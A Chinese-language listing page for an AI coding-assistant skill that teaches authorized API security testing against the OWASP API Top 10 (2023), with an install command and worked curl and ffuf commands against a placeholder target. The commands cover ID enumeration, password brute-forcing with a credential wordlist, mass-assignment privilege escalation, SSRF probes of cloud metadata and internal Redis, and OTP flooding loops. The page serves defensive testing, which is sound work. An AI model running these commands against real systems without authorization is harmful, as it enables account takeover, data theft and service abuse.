mcpField
T
testing-api-security-with-owasp-top-10

testing-api-security-with-owasp-top-10

github.com/mukul975安全35.2k799 次安装8 周前更新
代码仓库

关于 testing-api-security-with-owasp-top-10

用于按 OWASP API Security Top 10(2023)开展授权 API 安全评估的技能,提供 REST、GraphQL 和 gRPC API 的测试步骤与示例,涵盖端点发现、授权及配置检查。

主要功能

  1. 01OWASP API Top 10 评估流程
  2. 02端点发现与映射
  3. 03授权和身份验证测试
  4. 04速率限制与资源使用检查
  5. 05SSRF 和配置检查

适用场景

  1. 01执行授权 API 渗透测试
  2. 02部署前审查 API 安全性
  3. 03验证网关控制与速率限制

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-security-with-owasp-top-10

安装后在 Claude Code 中输入/testing-api-security-with-owasp-top-10确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

使用 OWASP Top 10 测试 API 安全

何时使用

  • 在获得授权的 API 渗透测试项目期间
  • 评估 REST、GraphQL 或 gRPC API 的安全漏洞时
  • 将新的 API 端点部署到生产环境之前
  • 对照 OWASP API Security Top 10(2023)审查 API 安全状况时
  • 验证 API 网关安全控制和速率限制有效性时

前置条件

  • 授权:涵盖所有待测试 API 端点的书面范围文档
  • Burp Suite Professional:用于拦截和修改 API 请求
  • Postman:用于组织并执行 API 测试集合
  • ffuf:用于 API 端点和参数模糊测试
  • curl/httpie:用于手动测试的命令行 HTTP 客户端
  • API 文档:Swagger/OpenAPI 规范、GraphQL schema 或 API 文档
  • jq:用于解析 API 响应的 JSON 处理器(apt install jq)

工作流

步骤 1:发现并映射 API 端点

枚举所有可用的 API 端点并了解 API 攻击面。

# If OpenAPI/Swagger spec is available, download it
curl -s "https://api.target.example.com/swagger.json" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/v2/api-docs" | jq '.paths | keys[]'
curl -s "https://api.target.example.com/openapi.yaml"

# Fuzz for API endpoints
ffuf -u "https://api.target.example.com/api/v1/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
  -mc 200,201,204,301,401,403,405 \
  -fc 404 \
  -H "Content-Type: application/json" \
  -o api-enum.json -of json

# Fuzz for API versions
for v in v1 v2 v3 v4 beta internal admin; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://api.target.example.com/api/$v/users")
  echo "$v: $status"
done

# Check for GraphQL endpoint
for path in graphql graphiql playground query gql; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"query":"{__typename}"}' \
    "https://api.target.example.com/$path")
  echo "$path: $status"
done
步骤 2:测试 API1 - 失效的对象级授权(BOLA)

测试用户能否通过操纵 ID 访问属于其他用户的对象。

# Authenticate as User A and get their resources
TOKEN_A="Bearer eyJhbGciOiJIUzI1NiIs..."
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101/orders" | jq .

# Try accessing User B's resources with User A's token
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/102/orders" | jq .

# Fuzz object IDs with Burp Intruder or ffuf
ffuf -u "https://api.target.example.com/api/v1/orders/FUZZ" \
  -w <(seq 1 1000) \
  -H "Authorization: $TOKEN_A" \
  -mc 200 -t 10 -rate 50

# Test IDOR with different ID formats
# Numeric: /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Encoded: /users/MTAy (base64)
步骤 3:测试 API2 - 失效的身份认证

评估身份认证机制的弱点。

# Test for missing authentication
curl -s "https://api.target.example.com/api/v1/users" | jq .

# Test JWT token vulnerabilities
# Decode JWT without verification
echo "eyJhbGciOiJIUzI1NiIs..." | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Test "alg: none" attack
# Header: {"alg":"none","typ":"JWT"}
# Create unsigned token with modified claims

# Test brute-force protection on login
ffuf -u "https://api.target.example.com/api/v1/auth/login" \
  -X POST -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"FUZZ"}' \
  -w /usr/share/seclists/Passwords/Common-Credentials/top-1000.txt \
  -mc 200 -t 5 -rate 10

# Test password reset flow
curl -s -X POST "https://api.target.example.com/api/v1/auth/reset" \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]"}'

# Check if token is in response body instead of email only
步骤 4:测试 API3 - 失效的对象属性级授权

测试过度数据暴露和批量赋值漏洞。

# Check for excessive data in responses
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101" | jq .
# Look for: password hashes, SSNs, internal IDs, admin flags, PII

# Test mass assignment - try adding admin properties
curl -s -X PUT \
  -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"name":"Test User","role":"admin","is_admin":true}' \
  "https://api.target.example.com/api/v1/users/101" | jq .

# Test with PATCH method
curl -s -X PATCH \
  -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin","balance":999999}' \
  "https://api.target.example.com/api/v1/users/101" | jq .

# Check if filtering parameters expose more data
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101?fields=all" | jq .
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users/101?include=password,ssn" | jq .
步骤 5:测试 API4/API6 - 速率限制和对敏感流程的无限制访问

验证速率限制和资源消耗控制。

# Test rate limiting on authentication endpoint
for i in $(seq 1 100); do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST -H "Content-Type: application/json" \
    -d '{"email":"[email protected]","password":"wrong"}' \
    "https://api.target.example.com/api/v1/auth/login")
  echo "Attempt $i: $status"
  if [ "$status" == "429" ]; then
    echo "Rate limited at attempt $i"
    break
  fi
done

# Test for unrestricted resource consumption
# Large pagination
curl -s -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/users?limit=100000&offset=0" | jq '. | length'

# GraphQL depth/complexity attack
curl -s -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: $TOKEN_A" \
  -d '{"query":"{ users { friends { friends { friends { friends { name } } } } } }"}' \
  "https://api.target.example.com/graphql"

# Test SMS/email flooding via OTP endpoint
for i in $(seq 1 20); do
  curl -s -X POST -H "Content-Type: application/json" \
    -d '{"phone":"+1234567890"}' \
    "https://api.target.example.com/api/v1/auth/send-otp"
done
步骤 6:测试 API5 - 失效的功能级授权

检查是否可通过管理端点实现权限提升。

# Test admin endpoints with regular user token
ADMIN_ENDPOINTS=(
  "/api/v1/admin/users"
  "/api/v1/admin/settings"
  "/api/v1/admin/logs"
  "/api/v1/internal/config"
  "/api/v1/users?role=admin"
  "/api/v1/admin/export"
)

for endpoint in "${ADMIN_ENDPOINTS[@]}"; do
  for method in GET POST PUT DELETE; do
    status=$(curl -s -o /dev/null -w "%{http_code}" \
      -X "$method" \
      -H "Authorization: $TOKEN_A" \
      -H "Content-Type: application/json" \
      "https://api.target.example.com$endpoint")
    if [ "$status" != "403" ] && [ "$status" != "401" ] && [ "$status" != "404" ]; then
      echo "POTENTIAL ISSUE: $method $endpoint returned $status"
    fi
  done
done

# Test HTTP method switching
# If GET /admin/users returns 403, try:
curl -s -X POST -H "Authorization: $TOKEN_A" \
  "https://api.target.example.com/api/v1/admin/users"
步骤 7:测试 API7-API10 - SSRF、配置错误、资产清单和不安全消费
# API7: Server-Side Request Forgery
curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}' \
  "https://api.target.example.com/api/v1/fetch-url"

curl -s -X POST -H "Authorization: $TOKEN_A" \
  -H "Content-Type: application/json" \
  -d '{"webhook_url":"http://127.0.0.1:6379/"}' \
  "https://api.target.example.com/api/v1/webhooks"

# API8: Security Misconfiguration
# Check CORS policy
curl -s -I -H "Origin: https://evil.example.com" \
  "https://api.target.example.com/api/v1/users" | grep -i "access-control"

# Check for verbose error messages
curl -s -X POST -H "Content-Type: application/json" \
  -d '{"invalid": "data' \
  "https://api.target.example.com/api/v1/users"

# Check security headers
curl -s -I "https://api.target.example.com/api/v1/health" | grep -iE \
  "(x-frame|x-content|strict-transport|content-security|x-xss)"

# API9: Improper Inventory Management
# Test deprecated API versions
for v in v0 v1 v2 v3; do
  curl -s -o /dev/null -w "$v: %{http_code}\n" \
    "https://api.target.example.com/api/$v/users"
done

# API10: Unsafe Consumption of APIs
# Test if the API blindly trusts third-party data
# Check webhook/callback implementations for injection

关键概念

概念描述
BOLA (API1)失效的对象级授权 - 访问属于其他用户的对象
失效的身份认证 (API2)弱身份认证机制,导致凭证填充或令牌操纵
BOPLA (API3)失效的对象属性级授权 - 过度数据暴露或批量赋值
无限制的资源消耗 (API4)缺少速率限制,导致 DoS 或暴力破解攻击
失效的功能级授权 (API5)普通用户访问管理员级别的 API 功能
SSRF (API7)通过接受 URL 的 API 参数实现服务端请求伪造
安全配置错误 (API8)缺少安全响应头、详细错误信息、宽松的 CORS
不正确的资产清单 (API9)未记录、已弃用或影子 API 端点仍然暴露

工具与系统

工具用途
Burp Suite ProfessionalAPI 拦截、扫描和手动测试
PostmanAPI 集合管理和自动化测试执行
ffufAPI 端点和参数模糊测试
Kiterunner使用常见 API 路径模式发现 API 端点
jwt_toolJWT 令牌分析、操纵和攻击自动化
GraphQL VoyagerGraphQL schema 可视化和内省分析
ArjunAPI 端点的 HTTP 参数发现

常见场景

场景 1:电商 API 中的 BOLA

用户 A 可以通过更改 /api/v1/orders/{id} 中的订单 ID 访问用户 B 的订单详情。该 API 只检查身份认证,而不在对象级别检查授权。

场景 2:用户资料上的批量赋值

用户更新端点接受 JSON 正文中的 role 字段。通过在资料更新请求中添加 "role":"admin",普通用户可提升为管理员权限。

场景 3:已弃用 API 版本绕过

/api/v2/users 端点具有适当的速率限制,但 /api/v1/users(仍然有效)没有速率限制。攻击者利用旧版本进行凭证暴力破解。

场景 4:GraphQL 内省数据泄露

生产环境启用了 GraphQL 内省,暴露了完整 schema,包括前端未使用的内部查询、变更和敏感字段名。

输出格式

## API Security Assessment Report

**Target**: api.target.example.com
**API Type**: REST (OpenAPI 3.0)
**Assessment Date**: 2024-01-15
**OWASP API Security Top 10 (2023) Coverage**

| Risk | Status | Severity | Details |
|------|--------|----------|---------|
| API1: BOLA | VULNERABLE | Critical | /api/v1/orders/{id} - IDOR confirmed |
| API2: Broken Auth | VULNERABLE | High | No rate limit on /auth/login |
| API3: BOPLA | VULNERABLE | High | User role modifiable via mass assignment |
| API4: Resource Consumption | VULNERABLE | Medium | No pagination limit enforced |
| API5: Function Level Auth | PASS | - | Admin endpoints properly restricted |
| API6: Unrestricted Sensitive Flows | VULNERABLE | Medium | OTP endpoint lacks rate limiting |
| API7: SSRF | PASS | - | URL parameters properly validated |
| API8: Misconfiguration | VULNERABLE | Medium | Verbose stack traces in error responses |
| API9: Improper Inventory | VULNERABLE | Low | API v1 still accessible without docs |
| API10: Unsafe Consumption | NOT TESTED | - | No third-party API integrations found |

### Critical Finding: BOLA on Orders API
Authenticated users can access any order by iterating order IDs.
Tested range: 1-1000, 847 valid orders accessible.
PII exposure: names, addresses, payment details.

评论

支持 Markdown